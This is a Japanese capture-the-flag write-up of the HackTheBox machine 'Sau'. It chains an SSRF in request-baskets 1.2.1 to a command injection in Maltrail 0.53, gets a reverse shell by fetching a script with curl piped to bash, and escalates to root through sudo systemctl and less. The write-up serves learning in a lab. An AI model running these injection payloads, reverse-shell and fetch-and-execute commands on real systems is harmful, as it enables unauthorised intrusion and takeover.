HackTheBox Sau WriteUp

今回はHackTheBoxのEasyマシン「Sau」のWriteUpです！
名前からはどのようなマシンかよくわかりませんね。どのようなマシンなのでしょうか。

![スクリーンショット 2024-01-07 12.08.46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7156027b-e99b-b45e-b127-4d36831b3e7d.png)


グラフはかなりEasyな感じですね。
これはサクッと攻略してしまいたいです。攻略目指して頑張ります！

HackTheBoxってなに？という方はこちらの記事を見てみてください。一緒にハッキングしましょう！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476


## Sau

### 侵入
それでは、攻略を開始しましょう！
まずは、ポートスキャンから実行していきます。
```bash
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.224 -oN nmap.log

PORT      STATE    SERVICE REASON         VERSION
22/tcp    open     ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp    filtered http    no-response
8338/tcp  filtered unknown no-response
55555/tcp open     unknown syn-ack ttl 63
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Wed, 12 Jul 2023 14:31:08 GMT
|_    Content-Length: 0
```
22番、55555番を確認できました。なぜかフィルターされている2つのポートがありますが、とりあえず放置しておきます。
55555番はWebのようなので、実際にアクセスしてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/cb7ffd79-5a5d-2841-ec05-7476274ddb02.png)

どうやらBasketを作成できるサイトのようです。
よく見てみると、下の方に```request-baskets```のバージョンが書かれています。バージョンは```1.2.1```のようです。

### SSRF

バージョンが見えたので、ネットでバージョンに対する脆弱性がないか試してみましょう。

https://vulners.com/cve/CVE-2023-27163

興味深い記事を発見しました！
記事によると、SSRFの脆弱性が存在するようです。
同じページの中で、SSRFを発火させるための詳細な情報がまとめられたリンクが紹介されています。

https://notes.sjtu.edu.cn/s/MUUhEymt7

どうやら、```forward_url```というパラメータが脆弱であるようです。
このパラメータを悪用することで、ローカルサービスへのアクセスが可能になるようです。

ここで、nmapを実行した際に、80番がフィルターとして出力されていたことを思い出しました。
フィルターされている理由として、ローカルからのアクセスのみしか許可していない可能性があるので、パラメータで80番を指定してみましょう。

まずは、basketを作成します。サイト上で```Create```をクリックすると、トークンが表示されるので、```Open Basket```を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/28294940-28ab-440f-ed24-a1c1ca4fb74f.png)

作成できました。完了画面を見てみると、URLが表示されています。
パラメータが脆弱であるため、この```http://<ip>/<basket>```にアクセスした際に、SSRFが発火されるようです。
では、```forward_url```の値を変更していきます。右上の歯車のボタンを押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/8133a8a8-71d1-6092-fa59-4ee9229bf331.png)

Forward URLを入力する欄があります。ここに、```http://127.0.0.1:80/```を入力していきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d3dd071b-d5f4-14f4-85c3-bad1259523ff.png)

URLのほかに、```Proxy Response```をチェックすることを忘れないようにしてください。
では、入力とチェックが完了したので、アクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a5219df9-ec14-e1e4-b313-6b60cb2da1d6.png)

かなり体裁が崩れていますが、恐らく80番へのアクセスに成功しました！
Documentationなどのリンクがありますが、これらは全てGitHubへのリンクです。
他に情報がないか見てみると、先ほどのサイトと同じように、一番下に```Maltrail```のバージョン```0.53```が示されています。

### OSコマンドインジェクション

では、こちらも同じように、脆弱性がないかGoogleで検索してみます。
すると、かなり興味深い記事を発見しました。

https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/

記事によると、```0.54```以下のバージョンはOSコマンドインジェクションに脆弱であるようです！
同じページ内に、実行方法が紹介されています。記事内では、```http://hostname:8338/login```へアクセスしているため、forward_urlにloginを追加する必要があります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2d296b1d-9921-180e-b85e-b7ad9dd7f76c.png)

実行で使用するURLは、先ほどと同じように```http://<ip>/<basket>```に変更します。

```bash
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ curl 'http://10.10.11.224:55555/2i775md' \
  --data 'username=;`ping -c 3 10.10.14.8`'
```

記事で紹介されていたように、usernameの後に実行したいコマンドを指定しています。
まずは、pingを実行し、脆弱であるかを試してみたいと思います。
実行する前に、待ち受けをスタートさせます。

```bash
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ sudo tcpdump -i tun0 icmp      
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
```

待ち受けが完了したので、先ほどのcurlコマンドを実行します。

```bash
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ curl '10.10.11.224:55555/2i775md/' \
  --data 'username=;`ping -c 3 10.10.14.8`'
Login failed
```

実行すると、ログイン失敗という表示がされます。
待ち受けを確認し、pingの通信が出力されていないか見てみましょう。

```bash
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ sudo tcpdump -i tun0 icmp        
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
01:35:26.720178 IP 10.10.11.224 > 10.10.14.8: ICMP echo request, id 2, seq 1, length 64
01:35:26.720374 IP 10.10.14.8 > 10.10.11.224: ICMP echo reply, id 2, seq 1, length 64
01:35:27.722197 IP 10.10.11.224 > 10.10.14.8: ICMP echo request, id 2, seq 2, length 64
01:35:27.722230 IP 10.10.14.8 > 10.10.11.224: ICMP echo reply, id 2, seq 2, length 64
01:35:28.724439 IP 10.10.11.224 > 10.10.14.8: ICMP echo request, id 2, seq 3, length 64
01:35:28.724498 IP 10.10.14.8 > 10.10.11.224: ICMP echo reply, id 2, seq 3, length 64
```

通信が出力されています！
OSコマンドインジェクションが発火しました！

## puma としてのシェル

発火することが分かったので、シェルを取得しましょう！
まずは、実行させたいBashのスクリプトファイルを作成します。

```bash
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ cat rev.sh                          
bash -c "bash -i >& /dev/tcp/10.10.14.8/5555 0>&1"
```

いつものように、bashによるリバースシェルの取得を目指します。
ターゲットから、このスクリプトファイルへアクセスさせ、bashで実行させたいと思います。
アクセス可能にするため、Webサーバを立ち上げておきます。

```bash
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Webサーバを立ち上げることができたので、リバースシェルを取得する待ち受けを開始します。

```bash
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ nc -lvnp 5555
listening on [any] 5555 ...
```

これで、準備万端です。
実行するコマンドは下記の通りです。

```bash
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ curl '10.10.11.224:55555/2i775md' \
  --data 'username=;`curl http://10.10.14.8/rev.sh | bash`'
```

先ほど立ち上げたWebサーバへアクセスさせ、スクリプトファイルを読み込ませます。そしてそのスクリプトに対して、bashを実行させています。
このコマンドを実行することで、シェルが取得できるはずです。
それでは！実行してみましょう！

```bash
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.224] 57184
puma@sau:~$ whoami
puma
```

侵入成功です！

```bash
puma@sau:~$ ls -l
total 4
-rw-r----- 1 root puma 33 Jul 13 15:45 user.txt
```

ユーザフラグも取得できました！

### 権限昇格

それでは、権限昇格を目指していきましょう。
まずは、sudo -lを実行します。

```bash
puma@sau:/home$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
```

sudo -lにより、```systemctl status trail.service```が実行可能であることがわかりました。
コマンドの最後に、serviceファイルが指定されていますが、正直これは関係ありません。どうやって権限昇格を行えばよいのか、Exploit Notesで調べてみると、まさに求めていた答えが提供されました。

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-systemctl-privilege-escalation/

Exploit Notesを見てみると、どうやら、lessを使用し```!sh```を実行することで権限昇格ができるようです。

## root としてのシェル

それでは、早速試してみましょう！

```bash
puma@sau:~$ less | sudo /usr/bin/systemctl status trail.service
Missing filename ("less --help" for help)
WARNING: terminal is not fully functional
-  (press RETURN)
```

このように、lessとsystemctlを実行すると、入力を求められるので、```!sh```を入力し、実行します。

```
puma@sau:~$ less | sudo /usr/bin/systemctl status trail.service
Missing filename ("less --help" for help)
WARNING: terminal is not fully functional
-  (press RETURN)!sh
!sshh!sh
# whoami
whoami
root
```

権限昇格成功です！

```
# ls -l /root
total 8
drwxr-xr-x 4 root root 4096 Jun 19 09:41 go
-rw-r----- 1 root root   33 Jul 13 15:45 root.txt
```

ルートフラグも取得し、完全攻略達成です！お疲れ様でした！

### 攻略を終えて

とても面白いマシンでした。脆弱性は分かりやすいのですが、発火の方法には少し捻りがある感じが攻略していてとても楽しいなと感じました。
今回はバージョンに起因する脆弱性から権限昇格までつながりました。バージョン管理は運用者にとってもセキュリティエンジニアにとっても重要な問題です。運用状況とリスクを考え、適切な対応をしていく必要があります。実社会でも気をつけていきたいです。
今後もHackTheBoxのWriteUpを公開していきますので、みていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました！